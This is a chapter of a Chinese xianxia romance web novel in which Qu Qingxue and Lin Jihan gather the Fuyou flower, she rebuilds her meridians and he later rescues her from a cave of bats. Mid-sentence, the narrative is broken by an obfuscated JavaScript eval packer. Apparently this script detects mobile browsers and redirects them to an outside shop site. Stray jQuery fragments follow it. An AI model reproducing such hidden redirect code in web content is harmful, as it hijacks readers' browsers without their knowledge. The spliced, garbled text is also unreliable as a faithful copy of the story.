8. 天王盖地虎?

作品:《[穿书]这届炮灰不好当

    曲清雪没想到让众多修仙者惶恐的秘境之巅就是那座被林霁寒布满机关术法的墓。


    更让她意外的是,曲寒就是林霁寒本寒。


    “你说曲寒是你的一缕神魂所化?”曲清雪将林霁寒从头到尾瞧了个仔细,二人除了有一样的瞳色,其他地方完全没有相似之处。


    “嗯。”


    他走在后边,看着她将脚边的石子踢向远处。


    她将方才的石子又踢出几米远,才停下,回头看他,“是为了找我?”


    “是。”他没有犹豫。


    她很喜欢林霁寒有问必答的态度,索性也不追究自己被封进棺材里的事了。


    “你不是要带我找浮幽花吗?跟在我身后算哪门子带路?”


    说着,曲清雪准备退到他身旁。


    见少女的影子被月光一点点拉进,他低头,踩下与她身影交叠的石块。


    也正因他这乘兴踩石的举动,她往边上退时差点被绊倒。


    “你故意的!”她用了十成十的力去摁林霁寒拦在她腰上的手。


    一种酥麻的异样感从拇指骨节处传来,他好笑地扣住曲清雪作乱的手,把她一同拢在自己臂弯中。


    “我没有。”他枕在少女铺满梨花香气的肩头,在她耳畔轻轻落气。


    措不及防的痒意自耳尖蔓延,曲清雪突然觉得有点热,两边脸颊仿佛被淡粉色的胭脂沾染,像刚开花的两瓣桃。


    “还敢说不是。”她嘟囔着推开林霁寒,两步走到他身后,气哼哼地拽住他的腰带,“先带我寻浮幽花,若再不老实,我就……咳咳,就要以其人之道,还治其人之身!”


    这种泼皮似的浑事她不常干,话到一半时,她紧张得差点被口水呛死。


    “以其人之道还治其人之身?”他负手握住她的手腕,轻笑道,“你随时都可以。”


    可以什么?不是她想的那样吧?修仙之人皆如他这般豪放的话,升仙之路就不会多出一池单身狗了。


    半响后——


    见她未有所动,他又道,“如你所想。”


    谁知这短短四字不仅令曲清雪松了手,甚至让她连退好几步。


    这一退,她似乎想通了什么。


    他回头,温柔的笑容中透露着疑惑,那表情就好像在说,“我是会吃人吗?”


    “你……”


    她惊疑不定地看着他,整张小脸都快皱成了团,最后又认命般地叹气。


    林霁寒看着她不断变化的表情,心中寻思着,那些他从话本里学来的词句是不是将人气着了。


    林霁寒:“我不同你说那些便是了。”


    曲清雪:“天王盖地虎?”


    二人一齐出声,默契极了。


    他默了一阵,飞速在识海中寻找看过的话本,企图找出她话中的后半句。


    林霁寒不是穿越者,也不知道原文的存在,那他怎么会猜到她要寻浮幽花?


    “你说我们曾经认识,是真的?”她偏头,避开了他眼中明晃晃的探究。


    “自然。”


    似乎关于她的事,他总是很笃定。


    “如果你愿意对天道起誓,我便信你。”她也笃定,他不会。


    “天道……”他呢喃着,灰眸仿佛透过她的脸看见了更古长河里的某个虚影。


    “向他起誓,并无用处。”林霁寒没了兴致,拽过曲清雪的手往更深处走去。


    她说疼,他便用术法将其软禁在怀,她说累,他便缩地成寸,同她一道迷失在秘境尽头。


    ——浑浊夜色里,迷迭花的气息在空气中发酵,参杂在其中的几株幽蓝色小花迎风而立,泛出淡淡的蓝色光辉。


    在曲清雪愣神间,林霁寒已将浮幽花尽数折断送至她掌心。


    见她毫无反应,他疑惑道,“你心心念念之物,不要?”


    不是不要,是她还没从缩地成寸的浑噩中恢复过来。


    缩地成寸,这种术法在修仙界并不常见,记忆里,她只看见元婴初期的曲清虚施展过。


    “我的灵力不足以炼化……”


    曲清雪柔弱装到一半,林霁寒就用灵力撵碎了浮幽花,将其引到她的经脉中。


    重塑经脉的过程就好比筑基渡劫,一个需要把经脉揉碎洗净了重组,一个要遭雷劈,无论哪个都不好受。


    经脉破裂的痛苦无法支撑她继续站着,林霁寒将她揉进怀里,两人在迷迭花丛中相拥。


    浅紫色衣裙被汗水晕出一抹深色,那点格格不入的深色慢慢扩大,变成一池汪洋,将曲清雪浇透。


    她仰头靠在他怀中,只觉得越贴近,越能驱逐身上滚烫的痛意。


    就好像身上流淌的不是血液,是跳跃的火苗,熟透的热油,吞人的岩浆。


    会死吗?她不顾一切地贴近能缓解这份热意的源头,不顾礼节地、罔顾常纲地,像是要将他一并融进血液。


    盛放的迷迭花丛中,二人彼此紧贴,淌湿的衣裙和溺水的人,像是画中的场景,不被世俗认可的画作……


    不知多久,她从混沌的麻木中苏醒,身下是可怜兮兮的,被碾碎的迷迭,身后是眉头紧锁,连睡着了都会将她牢牢锁在怀里的林霁寒。


    曲清雪试图掰开腰线上那只贴合的、不属于自己的手。


    良久,她叹息着往他怀中缩,伐经洗脉所耗巨大,她的灵力还没恢复,实在无法和秘境里的阴风相抗。


    “噗通、噗通……”


    剧烈的心跳声扰得曲清雪无法入眠,她抬头,恰好被林霁寒搁在她脑袋上的下巴磕了一下。


    不用看也知道,她额头肯定红了。


    始作俑者无知无觉,皱着眉又将她抱紧了几分,勒得她有些喘不过气。


    她又不是玩偶,抱这么紧干嘛?曲清雪很不爽地抽出被禁锢的手,她突然想起了一个人。


    刚穿来那会,曲清雪总做噩梦,夜半惊醒时,她就到梨树下坐着发发呆,路过外间总能瞧见曲寒侧抱着被子入睡,没有例外。


    想得入了迷,以至于她对上林霁寒雾蒙蒙的双眸时,被吓了一跳,“你……醒了?”


    “嗯。”他垂眸,看着与她纠缠的发丝乖巧地铺在迷迭花上。


    氛围一下子沉了,她纠结地拧着衣袖,全然不记得醒来时她想做的那件事是什么。


    “至数太高不好,不管管吗?”发丝要如何纠缠,他没兴致再看了,那道声音还是很大。


    仰头说话很累,她干脆翻身寻个舒服的位置,“什么意思?”


    林霁寒冰凉的掌心扣着她的手贴往他胸口贴,那本该是心脏跳动的位置,如今却感受不到一丝起伏。


    她甚至贴着他胸口去听,想从中寻到一丝微弱的心跳。


    很可惜,一点也没有。


    “你……”她在思考知道的太多会不会被灭口。


    “只是被封印了而已,有你就已经够热闹了。”


    林霁寒语气平淡的就像是在商量哪个棺材好一样。


    哦,原来刚才是自


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14239136|151445||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    己的心跳在响。曲清雪赞同地点点头。


    什么?是她、的、心、跳!一定是经脉还没修复好。


    她立即推开他,打坐运气,让灵力游走经脉。


    头顶一片阴沉,似有雷光闪过,沉闷而潮湿的气息在她鼻尖蔓延。


    贯耳的雷声从头顶飘来,仿佛下一刻就能将她劈得皮开肉绽。


    林霁寒抬头看了一眼天,那急速落下的闪电照亮了他灰雾般的眸,而后……这惊雷就像被吓到了一般急速刹车,灰溜溜地躲进了云层中。


    天复晴,仿佛刚才的景象只是她梦中的一片虚无。


    难道是因为他在?曲清雪眉头微蹙,从储物器里摸出了传送符,引灵施术一气呵成,没有半点拖泥带水地被传到了一处石洞中。


    她再度打坐引气,却怎么也看不见突破筑基时的异象了,她觉得一定是石洞不好劈。


    正想着换一个地方突破,一滴冰凉的液体就落在了她脸上,接着是第二滴、第三滴……


    黏糊的、混合着某种喘息声的水接二连三地追着她。


    曲清雪取出夜明珠,骤然的光亮盈满石洞,她抬头,短暂地对上了一双双猩红的眼睛。


    蝙蝠,一石洞的蝙蝠全在上边盯着她,那些水滴,是顺着蝙蝠嘴角落下的,口水。


    “我***!”


    “喂,你们别过来,我不怕你们的!”蝙蝠狂躁地挥动翅膀朝她飞来。


    她撒钱似的从储物器里捏出一叠火符,物总有尽时,现在关键是要找到余下的传送符。


    翻到一半,她突然想起剩下的传送符在宋解语那,自己明明是数好了量给的,不应该啊!


    火符烧完也没能挡住洞中一波又一波的蝙蝠,在曲清雪即将变成血包前,她忽然想起了被她丢在迷迭花丛里的人。


    “林霁寒!”


    这回她是喊的,因为怕死。


    “嗯,我在。”


    交叉的石洞路口里,林霁寒缓缓走来,每走一步,他身上的玉石就会相互触碰,发出规律而杂乱的交响。


    等他走到眼前,她头上的蝙蝠全没了动静,它们用猩红的双眼安静地注视着一切。


    没有任何多余的动作,它们只是在盯着,没动,也可能是不敢动。


    “你是不是一直在?”


    来的这么及时,曲清雪合理怀疑他一直躲在暗处看她出丑。


    “没有,我知道你想换个地方寻雷劫。”他垂眸,唇角依旧维持着上翘的弧度。


    “那怎么会来的这么及时?还是你在我身上下了什么寻踪的术法?”


    被死蝙蝠泼了一脸口水,她现在就想泄气,也顾不得装什么懂事乖巧。


    “因为……”林霁寒轻颤的睫毛花丛中被风打扰的蝴蝶,眼中的雾也隐有扩大趋势。


    “你唤了我的名字,而我也……听见了。”


    他往前挪了一步,小心翼翼地,不找痕迹地用余光看她。


    见他这般小心翼翼,她仿佛又看见了曲寒。


    “浮幽花的事,你早就知道。”曲清雪叹息着,将不冷静的情绪全部压下。


    “我知道,但你想要,我就会寻。”


    林霁寒知道,他从一开始就知道浮幽花并不能改变她无法突破筑基的事实。


    他什么都知道,却还看着她一遍一遍地去试。


    这一刻,曲清雪觉得自己像个傻子,被蒙在鼓里,被困在局中,做不到旁观者清。


    她讨厌这种感觉。